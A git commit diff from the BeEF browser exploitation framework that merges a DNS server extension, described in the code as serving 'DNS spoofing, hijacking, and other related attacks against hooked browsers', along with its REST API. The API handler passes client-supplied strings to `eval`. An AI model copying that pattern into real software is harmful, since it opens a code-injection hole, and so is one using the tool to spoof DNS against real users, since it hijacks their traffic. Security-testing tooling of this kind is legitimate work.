Manually merged DNS extension code (pull request 967 from @soh-cah-toa)
This commit is contained in:
@@ -121,4 +121,4 @@ beef:
|
||||
ipec:
|
||||
enable: true
|
||||
dns:
|
||||
enable: true
|
||||
enable: false
|
||||
|
||||
@@ -4,45 +4,45 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Dns
|
||||
module API
|
||||
module Extension
|
||||
module Dns
|
||||
module API
|
||||
|
||||
module NameserverHandler
|
||||
module NameserverHandler
|
||||
|
||||
BeEF::API::Registrar.instance.register(
|
||||
BeEF::Extension::Dns::API::NameserverHandler,
|
||||
BeEF::API::Server,
|
||||
'pre_http_start'
|
||||
)
|
||||
BeEF::API::Registrar.instance.register(
|
||||
BeEF::Extension::Dns::API::NameserverHandler,
|
||||
BeEF::API::Server,
|
||||
'pre_http_start'
|
||||
)
|
||||
|
||||
BeEF::API::Registrar.instance.register(
|
||||
BeEF::Extension::Dns::API::NameserverHandler,
|
||||
BeEF::API::Server,
|
||||
'mount_handler'
|
||||
)
|
||||
BeEF::API::Registrar.instance.register(
|
||||
BeEF::Extension::Dns::API::NameserverHandler,
|
||||
BeEF::API::Server,
|
||||
'mount_handler'
|
||||
)
|
||||
|
||||
# Begins main DNS server run-loop at BeEF startup
|
||||
def self.pre_http_start(http_hook_server)
|
||||
dns_config = BeEF::Core::Configuration.instance.get('beef.extension.dns')
|
||||
# Begins main DNS server run-loop at BeEF startup
|
||||
def self.pre_http_start(http_hook_server)
|
||||
dns_config = BeEF::Core::Configuration.instance.get('beef.extension.dns')
|
||||
|
||||
address = dns_config['address']
|
||||
port = dns_config['port']
|
||||
address = dns_config['address']
|
||||
port = dns_config['port']
|
||||
|
||||
dns = BeEF::Extension::Dns::Server.instance
|
||||
dns.run_server(address, port)
|
||||
dns = BeEF::Extension::Dns::Server.instance
|
||||
dns.run_server(address, port)
|
||||
|
||||
print_info "DNS Server: #{address}:#{port}"
|
||||
print_info "DNS Server: #{address}:#{port}"
|
||||
end
|
||||
|
||||
# Mounts handler for processing RESTful API calls
|
||||
def self.mount_handler(beef_server)
|
||||
beef_server.mount('/api/dns', BeEF::Extension::Dns::DnsRest.new)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
# Mounts handler for processing RESTful API calls
|
||||
def self.mount_handler(beef_server)
|
||||
beef_server.mount('/api/dns', BeEF::Extension::Dns::DnsRest.new)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -4,148 +4,148 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Dns
|
||||
module Extension
|
||||
module Dns
|
||||
|
||||
# This class is responsible for providing a DNS nameserver that can be dynamically
|
||||
# configured by other modules and extensions. It is particularly useful for
|
||||
# performing DNS spoofing, hijacking, tunneling, etc.
|
||||
#
|
||||
# Only a single instance will exist during runtime (known as the "singleton pattern").
|
||||
# This makes it easier to coordinate actions across the various BeEF systems.
|
||||
class Server
|
||||
# This class is responsible for providing a DNS nameserver that can be dynamically
|
||||
# configured by other modules and extensions. It is particularly useful for
|
||||
# performing DNS spoofing, hijacking, tunneling, etc.
|
||||
#
|
||||
# Only a single instance will exist during runtime (known as the "singleton pattern").
|
||||
# This makes it easier to coordinate actions across the various BeEF systems.
|
||||
class Server
|
||||
|
||||
include Singleton
|
||||
include Singleton
|
||||
|
||||
attr_reader :address, :port
|
||||
attr_reader :address, :port
|
||||
|
||||
# @!method self.instance
|
||||
# Returns the singleton instance. Use this in place of {#initialize}.
|
||||
# @!method self.instance
|
||||
# Returns the singleton instance. Use this in place of {#initialize}.
|
||||
|
||||
# @note This method cannot be invoked! Use {.instance} instead.
|
||||
# @see ::instance
|
||||
def initialize
|
||||
@lock = Mutex.new
|
||||
@server = nil
|
||||
end
|
||||
# @note This method cannot be invoked! Use {.instance} instead.
|
||||
# @see ::instance
|
||||
def initialize
|
||||
@lock = Mutex.new
|
||||
@server = nil
|
||||
end
|
||||
|
||||
# Starts the main DNS server run-loop in a new thread.
|
||||
#
|
||||
# @param address [String] interface address server should run on
|
||||
# @param port [Integer] desired server port number
|
||||
def run_server(address = '0.0.0.0', port = 5300)
|
||||
@address = address
|
||||
@port = port
|
||||
# Starts the main DNS server run-loop in a new thread.
|
||||
#
|
||||
# @param address [String] interface address server should run on
|
||||
# @param port [Integer] desired server port number
|
||||
def run_server(address = '0.0.0.0', port = 5300)
|
||||
@address = address
|
||||
@port = port
|
||||
|
||||
@lock.synchronize do
|
||||
Thread.new do
|
||||
# @note Calling #sleep is a quick fix that prevents race conditions
|
||||
# with WebSockets. A better solution is needed; perhaps a
|
||||
# global EventMachine mutex.
|
||||
sleep(1)
|
||||
@lock.synchronize do
|
||||
Thread.new do
|
||||
# @note Calling #sleep is a quick fix that prevents race conditions
|
||||
# with WebSockets. A better solution is needed; perhaps a
|
||||
# global EventMachine mutex.
|
||||
sleep(1)
|
||||
|
||||
if EventMachine.reactor_running?
|
||||
EventMachine.next_tick { run_server_block(@address, @port) }
|
||||
else
|
||||
run_server_block(@address, @port)
|
||||
if EventMachine.reactor_running?
|
||||
EventMachine.next_tick { run_server_block(@address, @port) }
|
||||
else
|
||||
run_server_block(@address, @port)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Adds a new DNS rule or "resource record". Does nothing if rule is already present.
|
||||
#
|
||||
# @example Adds an A record for foobar.com with the value 1.2.3.4
|
||||
#
|
||||
# dns = BeEF::Extension::Dns::Server.instance
|
||||
#
|
||||
# id = dns.add_rule('foobar.com', Resolv::DNS::Resource::IN::A) do |transaction|
|
||||
# transaction.respond!('1.2.3.4')
|
||||
# end
|
||||
#
|
||||
# @param pattern [String, Regexp] query pattern to recognize
|
||||
# @param type [Resolv::DNS::Resource::IN] resource record type (e.g. A, CNAME, NS, etc.)
|
||||
#
|
||||
# @note When parameter 'pattern' is a literal Regexp object, it must NOT be passed
|
||||
# using the /.../ literal syntax. Instead use either %r{...} or Regexp::new.
|
||||
# This does not apply if 'pattern' is a variable.
|
||||
#
|
||||
# @yield callback to invoke when pattern is matched
|
||||
# @yieldparam transaction [RubyDNS::Transaction] details of query question and response
|
||||
#
|
||||
# @return [String] unique 7-digit hex identifier for use with {#remove_rule}
|
||||
#
|
||||
# @see #remove_rule
|
||||
# @see http://rubydoc.info/gems/rubydns/RubyDNS/Transaction
|
||||
def add_rule(pattern, type, &block)
|
||||
@lock.synchronize { @server.match(pattern, type, block) }
|
||||
end
|
||||
|
||||
# Removes the given DNS rule. Any future queries for it will be passed through.
|
||||
#
|
||||
# @param id [Integer] id returned from {#add_rule}
|
||||
#
|
||||
# @return [Boolean] true on success, false on failure
|
||||
#
|
||||
# @see #add_rule
|
||||
def remove_rule(id)
|
||||
@lock.synchronize { @server.remove_rule(id) }
|
||||
end
|
||||
|
||||
# Retrieves a specific rule given its id
|
||||
#
|
||||
# @param id [Integer] unique identifier for rule
|
||||
#
|
||||
# @return [Hash] hash representation of rule
|
||||
def get_rule(id)
|
||||
@lock.synchronize { @server.get_rule(id) }
|
||||
end
|
||||
|
||||
# Returns an AoH representing the entire current DNS ruleset.
|
||||
#
|
||||
# Each element is a hash with the following keys:
|
||||
#
|
||||
# * <code>:id</code>
|
||||
# * <code>:pattern</code>
|
||||
# * <code>:type</code>
|
||||
# * <code>:response</code>
|
||||
#
|
||||
# @return [Array<Hash>] DNS ruleset (empty if no rules are currently loaded)
|
||||
def get_ruleset
|
||||
@lock.synchronize { @server.get_ruleset }
|
||||
end
|
||||
|
||||
# Clears the entire DNS ruleset.
|
||||
#
|
||||
# Requests made after doing so will be passed through to the root nameservers.
|
||||
#
|
||||
# @return [Boolean] true on success, false on failure
|
||||
def remove_ruleset
|
||||
@lock.synchronize { @server.remove_ruleset }
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Common code needed by {#run_server} to start DNS server.
|
||||
#
|
||||
# @param address [String] interface address server should run on
|
||||
# @param port [Integer] desired server port number
|
||||
def run_server_block(address, port)
|
||||
RubyDNS.run_server(:listen => [[:udp, address, port]]) do
|
||||
server = self
|
||||
BeEF::Extension::Dns::Server.instance.instance_eval { @server = server }
|
||||
|
||||
# Pass unmatched queries upstream to root nameservers
|
||||
otherwise do |transaction|
|
||||
transaction.passthrough!(
|
||||
RubyDNS::Resolver.new([[:udp, '8.8.8.8', 53], [:tcp, '8.8.8.8', 53]])
|
||||
)
|
||||
# Adds a new DNS rule or "resource record". Does nothing if rule is already present.
|
||||
#
|
||||
# @example Adds an A record for foobar.com with the value 1.2.3.4
|
||||
#
|
||||
# dns = BeEF::Extension::Dns::Server.instance
|
||||
#
|
||||
# id = dns.add_rule('foobar.com', Resolv::DNS::Resource::IN::A) do |transaction|
|
||||
# transaction.respond!('1.2.3.4')
|
||||
# end
|
||||
#
|
||||
# @param pattern [String, Regexp] query pattern to recognize
|
||||
# @param type [Resolv::DNS::Resource::IN] resource record type (e.g. A, CNAME, NS, etc.)
|
||||
#
|
||||
# @note When parameter 'pattern' is a literal Regexp object, it must NOT be passed
|
||||
# using the /.../ literal syntax. Instead use either %r{...} or Regexp::new.
|
||||
# This does not apply if 'pattern' is a variable.
|
||||
#
|
||||
# @yield callback to invoke when pattern is matched
|
||||
# @yieldparam transaction [RubyDNS::Transaction] details of query question and response
|
||||
#
|
||||
# @return [String] unique 7-digit hex identifier for use with {#remove_rule}
|
||||
#
|
||||
# @see #remove_rule
|
||||
# @see http://rubydoc.info/gems/rubydns/RubyDNS/Transaction
|
||||
def add_rule(pattern, type, &block)
|
||||
@lock.synchronize { @server.match(pattern, type, block) }
|
||||
end
|
||||
|
||||
# Removes the given DNS rule. Any future queries for it will be passed through.
|
||||
#
|
||||
# @param id [Integer] id returned from {#add_rule}
|
||||
#
|
||||
# @return [Boolean] true on success, false on failure
|
||||
#
|
||||
# @see #add_rule
|
||||
def remove_rule(id)
|
||||
@lock.synchronize { @server.remove_rule(id) }
|
||||
end
|
||||
|
||||
# Retrieves a specific rule given its id
|
||||
#
|
||||
# @param id [Integer] unique identifier for rule
|
||||
#
|
||||
# @return [Hash] hash representation of rule
|
||||
def get_rule(id)
|
||||
@lock.synchronize { @server.get_rule(id) }
|
||||
end
|
||||
|
||||
# Returns an AoH representing the entire current DNS ruleset.
|
||||
#
|
||||
# Each element is a hash with the following keys:
|
||||
#
|
||||
# * <code>:id</code>
|
||||
# * <code>:pattern</code>
|
||||
# * <code>:type</code>
|
||||
# * <code>:response</code>
|
||||
#
|
||||
# @return [Array<Hash>] DNS ruleset (empty if no rules are currently loaded)
|
||||
def get_ruleset
|
||||
@lock.synchronize { @server.get_ruleset }
|
||||
end
|
||||
|
||||
# Clears the entire DNS ruleset.
|
||||
#
|
||||
# Requests made after doing so will be passed through to the root nameservers.
|
||||
#
|
||||
# @return [Boolean] true on success, false on failure
|
||||
def remove_ruleset
|
||||
@lock.synchronize { @server.remove_ruleset }
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Common code needed by {#run_server} to start DNS server.
|
||||
#
|
||||
# @param address [String] interface address server should run on
|
||||
# @param port [Integer] desired server port number
|
||||
def run_server_block(address, port)
|
||||
RubyDNS.run_server(:listen => [[:udp, address, port]]) do
|
||||
server = self
|
||||
BeEF::Extension::Dns::Server.instance.instance_eval { @server = server }
|
||||
|
||||
# Pass unmatched queries upstream to root nameservers
|
||||
otherwise do |transaction|
|
||||
transaction.passthrough!(
|
||||
RubyDNS::Resolver.new([[:udp, '8.8.8.8', 53], [:tcp, '8.8.8.8', 53]])
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -4,18 +4,18 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Dns
|
||||
module Extension
|
||||
module Dns
|
||||
|
||||
extend BeEF::API::Extension
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'dns'
|
||||
@full_name = 'DNS Server'
|
||||
@description = 'A configurable DNS nameserver for performing DNS spoofing, ' +
|
||||
'hijacking, and other related attacks against hooked zombies'
|
||||
@short_name = 'dns'
|
||||
@full_name = 'DNS Server'
|
||||
@description = 'A configurable DNS nameserver for performing DNS spoofing, ' +
|
||||
'hijacking, and other related attacks against hooked browsers.'
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'extensions/dns/api'
|
||||
|
||||
@@ -4,24 +4,24 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
module Dns
|
||||
module Core
|
||||
module Models
|
||||
module Dns
|
||||
|
||||
class Rule
|
||||
class Rule
|
||||
|
||||
include DataMapper::Resource
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'extension_dns_rules'
|
||||
storage_names[:default] = 'extension_dns_rules'
|
||||
|
||||
property :id, String, :key => true # Unique identifier
|
||||
property :pattern, Object # Query pattern
|
||||
property :type, Object # Resource type
|
||||
property :block, Text # Associated callback
|
||||
property :id, String, :key => true # Unique identifier
|
||||
property :pattern, Object # Query pattern
|
||||
property :type, Object # Resource type
|
||||
property :block, Text # Associated callback
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -4,242 +4,243 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Dns
|
||||
module Extension
|
||||
module Dns
|
||||
|
||||
# This class handles the routing of RESTful API requests that query BeEF's DNS server
|
||||
class DnsRest < BeEF::Core::Router::Router
|
||||
# This class handles the routing of RESTful API requests that query BeEF's DNS server
|
||||
class DnsRest < BeEF::Core::Router::Router
|
||||
|
||||
# Filters out bad requests before performing any routing
|
||||
before do
|
||||
config = BeEF::Core::Configuration.instance
|
||||
# Filters out bad requests before performing any routing
|
||||
before do
|
||||
config = BeEF::Core::Configuration.instance
|
||||
|
||||
# Require a valid API token from a valid IP address
|
||||
halt 401 unless params[:token] == config.get('beef.api_token')
|
||||
halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip)
|
||||
# Require a valid API token from a valid IP address
|
||||
halt 401 unless params[:token] == config.get('beef.api_token')
|
||||
halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip)
|
||||
|
||||
headers 'Content-Type' => 'application/json; charset=UTF-8',
|
||||
'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0'
|
||||
end
|
||||
|
||||
# Returns the entire current DNS ruleset
|
||||
get '/ruleset' do
|
||||
begin
|
||||
ruleset = BeEF::Extension::Dns::Server.instance.get_ruleset
|
||||
count = ruleset.length
|
||||
|
||||
result = {}
|
||||
result[:count] = count
|
||||
result[:ruleset] = ruleset
|
||||
result.to_json
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving DNS ruleset (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
end
|
||||
|
||||
# Returns a specific rule given its id
|
||||
get '/rule/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
|
||||
unless BeEF::Filters.alphanums_only?(id)
|
||||
raise InvalidParamError, 'Invalid "id" parameter passed to endpoint /api/dns/rule/:id'
|
||||
headers 'Content-Type' => 'application/json; charset=UTF-8',
|
||||
'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0'
|
||||
end
|
||||
|
||||
result = BeEF::Extension::Dns::Server.instance.get_rule(id)
|
||||
halt 404 if result.length == 0
|
||||
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving DNS rule with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
end
|
||||
|
||||
# Adds a new DNS rule
|
||||
post '/rule' do
|
||||
begin
|
||||
body = JSON.parse(request.body.read)
|
||||
|
||||
pattern = body['pattern']
|
||||
type = body['type']
|
||||
response = body['response']
|
||||
|
||||
# Validate required JSON keys
|
||||
unless [pattern, type, response].include?(nil)
|
||||
# Determine whether 'pattern' is a String or Regexp
|
||||
# Returns the entire current DNS ruleset
|
||||
get '/ruleset' do
|
||||
begin
|
||||
pattern_test = eval pattern
|
||||
pattern = pattern_test if pattern_test.class == Regexp
|
||||
rescue => e; end
|
||||
ruleset = BeEF::Extension::Dns::Server.instance.get_ruleset
|
||||
count = ruleset.length
|
||||
|
||||
if response.class == Array
|
||||
if response.length == 0
|
||||
raise InvalidJsonError, 'Empty "reponse" key passed to endpoint /api/dns/rule'
|
||||
result = {}
|
||||
result[:count] = count
|
||||
result[:ruleset] = ruleset
|
||||
result.to_json
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving DNS ruleset (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
end
|
||||
|
||||
# Returns a specific rule given its id
|
||||
get '/rule/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
|
||||
unless BeEF::Filters.alphanums_only?(id)
|
||||
raise InvalidParamError, 'Invalid "id" parameter passed to endpoint /api/dns/rule/:id'
|
||||
end
|
||||
|
||||
result = BeEF::Extension::Dns::Server.instance.get_rule(id)
|
||||
halt 404 if result.length == 0
|
||||
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving DNS rule with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
end
|
||||
|
||||
# Adds a new DNS rule
|
||||
post '/rule' do
|
||||
begin
|
||||
body = JSON.parse(request.body.read)
|
||||
|
||||
pattern = body['pattern']
|
||||
type = body['type']
|
||||
response = body['response']
|
||||
|
||||
# Validate required JSON keys
|
||||
unless [pattern, type, response].include?(nil)
|
||||
# Determine whether 'pattern' is a String or Regexp
|
||||
begin
|
||||
pattern_test = eval pattern
|
||||
pattern = pattern_test if pattern_test.class == Regexp
|
||||
rescue => e;
|
||||
end
|
||||
else
|
||||
raise InvalidJsonError, 'Non-array "reponse" key passed to endpoint /api/dns/rule'
|
||||
|
||||
if response.class == Array
|
||||
if response.length == 0
|
||||
raise InvalidJsonError, 'Empty "reponse" key passed to endpoint /api/dns/rule'
|
||||
end
|
||||
else
|
||||
raise InvalidJsonError, 'Non-array "reponse" key passed to endpoint /api/dns/rule'
|
||||
end
|
||||
|
||||
unless BeEF::Filters.is_non_empty_string?(pattern)
|
||||
raise InvalidJsonError, 'Empty "pattern" key passed to endpoint /api/dns/rule'
|
||||
end
|
||||
|
||||
unless BeEF::Filters.is_non_empty_string?(type)
|
||||
raise InvalidJsonError, 'Empty "type" key passed to endpoint /api/dns/rule'
|
||||
end
|
||||
|
||||
id = ''
|
||||
|
||||
block_src = format_response(type, response)
|
||||
type_obj = eval "Resolv::DNS::Resource::IN::#{type}"
|
||||
|
||||
# Bypass #add_rule so that 'block_src' can be passed as a String
|
||||
BeEF::Extension::Dns::Server.instance.instance_eval do
|
||||
id = @server.match(pattern, type_obj, block_src)
|
||||
end
|
||||
|
||||
result = {}
|
||||
result['success'] = true
|
||||
result['id'] = id
|
||||
result.to_json
|
||||
end
|
||||
rescue InvalidJsonError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while adding DNS rule (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
unless BeEF::Filters.is_non_empty_string?(pattern)
|
||||
raise InvalidJsonError, 'Empty "pattern" key passed to endpoint /api/dns/rule'
|
||||
end
|
||||
|
||||
unless BeEF::Filters.is_non_empty_string?(type)
|
||||
raise InvalidJsonError, 'Empty "type" key passed to endpoint /api/dns/rule'
|
||||
end
|
||||
|
||||
id = ''
|
||||
|
||||
block_src = format_response(type, response)
|
||||
type_obj = eval "Resolv::DNS::Resource::IN::#{type}"
|
||||
|
||||
# Bypass #add_rule so that 'block_src' can be passed as a String
|
||||
BeEF::Extension::Dns::Server.instance.instance_eval do
|
||||
id = @server.match(pattern, type_obj, block_src)
|
||||
end
|
||||
|
||||
result = {}
|
||||
result['success'] = true
|
||||
result['id'] = id
|
||||
result.to_json
|
||||
end
|
||||
rescue InvalidJsonError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while adding DNS rule (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
end
|
||||
|
||||
# Removes a rule given its id
|
||||
delete '/rule/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
|
||||
unless BeEF::Filters.alphanums_only?(id)
|
||||
raise InvalidParamError, 'Invalid "id" parameter passed to endpoint /api/dns/rule/:id'
|
||||
end
|
||||
|
||||
result = {}
|
||||
result['success'] = BeEF::Extension::Dns::Server.instance.remove_rule(id)
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while removing DNS rule with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
end
|
||||
# Removes a rule given its id
|
||||
delete '/rule/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
|
||||
private
|
||||
unless BeEF::Filters.alphanums_only?(id)
|
||||
raise InvalidParamError, 'Invalid "id" parameter passed to endpoint /api/dns/rule/:id'
|
||||
end
|
||||
|
||||
# Generates a formatted string representation of the callback to invoke as a response.
|
||||
#
|
||||
# @param [String] type resource record type (e.g. A, CNAME, NS, etc.)
|
||||
# @param [Array] rdata record data to include in response
|
||||
#
|
||||
# @return [String] string representation of response callback
|
||||
def format_response(type, rdata)
|
||||
src = 'proc { |t| t.respond!(%s) }'
|
||||
result = {}
|
||||
result['success'] = BeEF::Extension::Dns::Server.instance.remove_rule(id)
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while removing DNS rule with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
end
|
||||
|
||||
args = case type
|
||||
when 'A'
|
||||
data = { :address => rdata[0] }
|
||||
sprintf "'%<address>s'", data
|
||||
when 'AAAA'
|
||||
data = { :address => rdata[0] }
|
||||
sprintf "'%<address>s'", data
|
||||
when 'CNAME'
|
||||
data = { :cname => rdata[0] }
|
||||
sprintf "Resolv::DNS::Name.create('%<cname>s')", data
|
||||
when 'HINFO'
|
||||
data = { :cpu => rdata[0], :os => rdata[1] }
|
||||
sprintf "'%<cpu>s', '%<os>s'", data
|
||||
when 'MINFO'
|
||||
data = { :rmailbx => rdata[0], :emailbx => rdata[1] }
|
||||
private
|
||||
|
||||
sprintf "Resolv::DNS::Name.create('%<rmailbx>s'), " +
|
||||
"Resolv::DNS::Name.create('%<emailbx>s')",
|
||||
data
|
||||
when 'MX'
|
||||
data = { :preference => rdata[0], :exchange => rdata[1] }
|
||||
sprintf "%<preference>d, Resolv::DNS::Name.create('%<exchange>s')", data
|
||||
when 'NS'
|
||||
data = { :nsdname => rdata[0] }
|
||||
sprintf "Resolv::DNS::Name.create('%<nsdname>s')", data
|
||||
when 'PTR'
|
||||
data = { :ptrdname => rdata[0] }
|
||||
sprintf "Resolv::DNS::Name.create('%<ptrdname>s')", data
|
||||
when 'SOA'
|
||||
data = {
|
||||
:mname => rdata[0],
|
||||
:rname => rdata[1],
|
||||
:serial => rdata[2],
|
||||
:refresh => rdata[3],
|
||||
:retry => rdata[4],
|
||||
:expire => rdata[5],
|
||||
:minimum => rdata[6]
|
||||
}
|
||||
# Generates a formatted string representation of the callback to invoke as a response.
|
||||
#
|
||||
# @param [String] type resource record type (e.g. A, CNAME, NS, etc.)
|
||||
# @param [Array] rdata record data to include in response
|
||||
#
|
||||
# @return [String] string representation of response callback
|
||||
def format_response(type, rdata)
|
||||
src = 'proc { |t| t.respond!(%s) }'
|
||||
|
||||
sprintf "Resolv::DNS::Name.create('%<mname>s'), " +
|
||||
"Resolv::DNS::Name.create('%<rname>s'), " +
|
||||
'%<serial>d, ' +
|
||||
'%<refresh>d, ' +
|
||||
'%<retry>d, ' +
|
||||
'%<expire>d, ' +
|
||||
'%<minimum>d',
|
||||
data
|
||||
when 'TXT'
|
||||
data = { :txtdata => rdata[0] }
|
||||
sprintf "'%<txtdata>s'", data
|
||||
when 'WKS'
|
||||
data = {
|
||||
:address => rdata[0],
|
||||
:protocol => rdata[1],
|
||||
:bitmap => rdata[2]
|
||||
}
|
||||
args = case type
|
||||
when 'A'
|
||||
data = {:address => rdata[0]}
|
||||
sprintf "'%<address>s'", data
|
||||
when 'AAAA'
|
||||
data = {:address => rdata[0]}
|
||||
sprintf "'%<address>s'", data
|
||||
when 'CNAME'
|
||||
data = {:cname => rdata[0]}
|
||||
sprintf "Resolv::DNS::Name.create('%<cname>s')", data
|
||||
when 'HINFO'
|
||||
data = {:cpu => rdata[0], :os => rdata[1]}
|
||||
sprintf "'%<cpu>s', '%<os>s'", data
|
||||
when 'MINFO'
|
||||
data = {:rmailbx => rdata[0], :emailbx => rdata[1]}
|
||||
|
||||
sprintf "'%<address>s', %<protocol>d, %<bitmap>d", data
|
||||
else
|
||||
raise InvalidJsonError, 'Unknown "type" key passed to endpoint /api/dns/rule'
|
||||
end
|
||||
sprintf "Resolv::DNS::Name.create('%<rmailbx>s'), " +
|
||||
"Resolv::DNS::Name.create('%<emailbx>s')",
|
||||
data
|
||||
when 'MX'
|
||||
data = {:preference => rdata[0], :exchange => rdata[1]}
|
||||
sprintf "%<preference>d, Resolv::DNS::Name.create('%<exchange>s')", data
|
||||
when 'NS'
|
||||
data = {:nsdname => rdata[0]}
|
||||
sprintf "Resolv::DNS::Name.create('%<nsdname>s')", data
|
||||
when 'PTR'
|
||||
data = {:ptrdname => rdata[0]}
|
||||
sprintf "Resolv::DNS::Name.create('%<ptrdname>s')", data
|
||||
when 'SOA'
|
||||
data = {
|
||||
:mname => rdata[0],
|
||||
:rname => rdata[1],
|
||||
:serial => rdata[2],
|
||||
:refresh => rdata[3],
|
||||
:retry => rdata[4],
|
||||
:expire => rdata[5],
|
||||
:minimum => rdata[6]
|
||||
}
|
||||
|
||||
sprintf(src, args)
|
||||
end
|
||||
sprintf "Resolv::DNS::Name.create('%<mname>s'), " +
|
||||
"Resolv::DNS::Name.create('%<rname>s'), " +
|
||||
'%<serial>d, ' +
|
||||
'%<refresh>d, ' +
|
||||
'%<retry>d, ' +
|
||||
'%<expire>d, ' +
|
||||
'%<minimum>d',
|
||||
data
|
||||
when 'TXT'
|
||||
data = {:txtdata => rdata[0]}
|
||||
sprintf "'%<txtdata>s'", data
|
||||
when 'WKS'
|
||||
data = {
|
||||
:address => rdata[0],
|
||||
:protocol => rdata[1],
|
||||
:bitmap => rdata[2]
|
||||
}
|
||||
|
||||
# Raised when invalid JSON input is passed to an /api/dns handler.
|
||||
class InvalidJsonError < StandardError
|
||||
sprintf "'%<address>s', %<protocol>d, %<bitmap>d", data
|
||||
else
|
||||
raise InvalidJsonError, 'Unknown "type" key passed to endpoint /api/dns/rule'
|
||||
end
|
||||
|
||||
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/dns handler'
|
||||
sprintf(src, args)
|
||||
end
|
||||
|
||||
# Raised when invalid JSON input is passed to an /api/dns handler.
|
||||
class InvalidJsonError < StandardError
|
||||
|
||||
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/dns handler'
|
||||
|
||||
def initialize(message = nil)
|
||||
super(message || DEFAULT_MESSAGE)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Raised when an invalid named parameter is passed to an /api/dns handler.
|
||||
class InvalidParamError < StandardError
|
||||
|
||||
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/dns handler'
|
||||
|
||||
def initialize(message = nil)
|
||||
super(message || DEFAULT_MESSAGE)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def initialize(message = nil)
|
||||
super(message || DEFAULT_MESSAGE)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Raised when an invalid named parameter is passed to an /api/dns handler.
|
||||
class InvalidParamError < StandardError
|
||||
|
||||
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/dns handler'
|
||||
|
||||
def initialize(message = nil)
|
||||
super(message || DEFAULT_MESSAGE)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -49,7 +49,7 @@ module RubyDNS
|
||||
# Now uses an 'id' parameter to uniquely identify rules
|
||||
def initialize(id, pattern, callback)
|
||||
@id = id
|
||||
@pattern = pattern
|
||||
@pattern = pattern
|
||||
@callback = callback
|
||||
end
|
||||
|
||||
@@ -77,15 +77,17 @@ module RubyDNS
|
||||
begin
|
||||
# Sourcify block (already a string only for RESTful API calls)
|
||||
block_src = case block
|
||||
when String then block
|
||||
when Proc then block.to_source
|
||||
when String then
|
||||
block
|
||||
when Proc then
|
||||
block.to_source
|
||||
end
|
||||
|
||||
# Break out and return id if rule is already present
|
||||
BeEF::Core::Models::Dns::Rule.each do |rule|
|
||||
if pattern[0] == rule.pattern &&
|
||||
pattern[1] == rule.type &&
|
||||
block_src == rule.block
|
||||
pattern[1] == rule.type &&
|
||||
block_src == rule.block
|
||||
|
||||
id = rule.id
|
||||
throw :match
|
||||
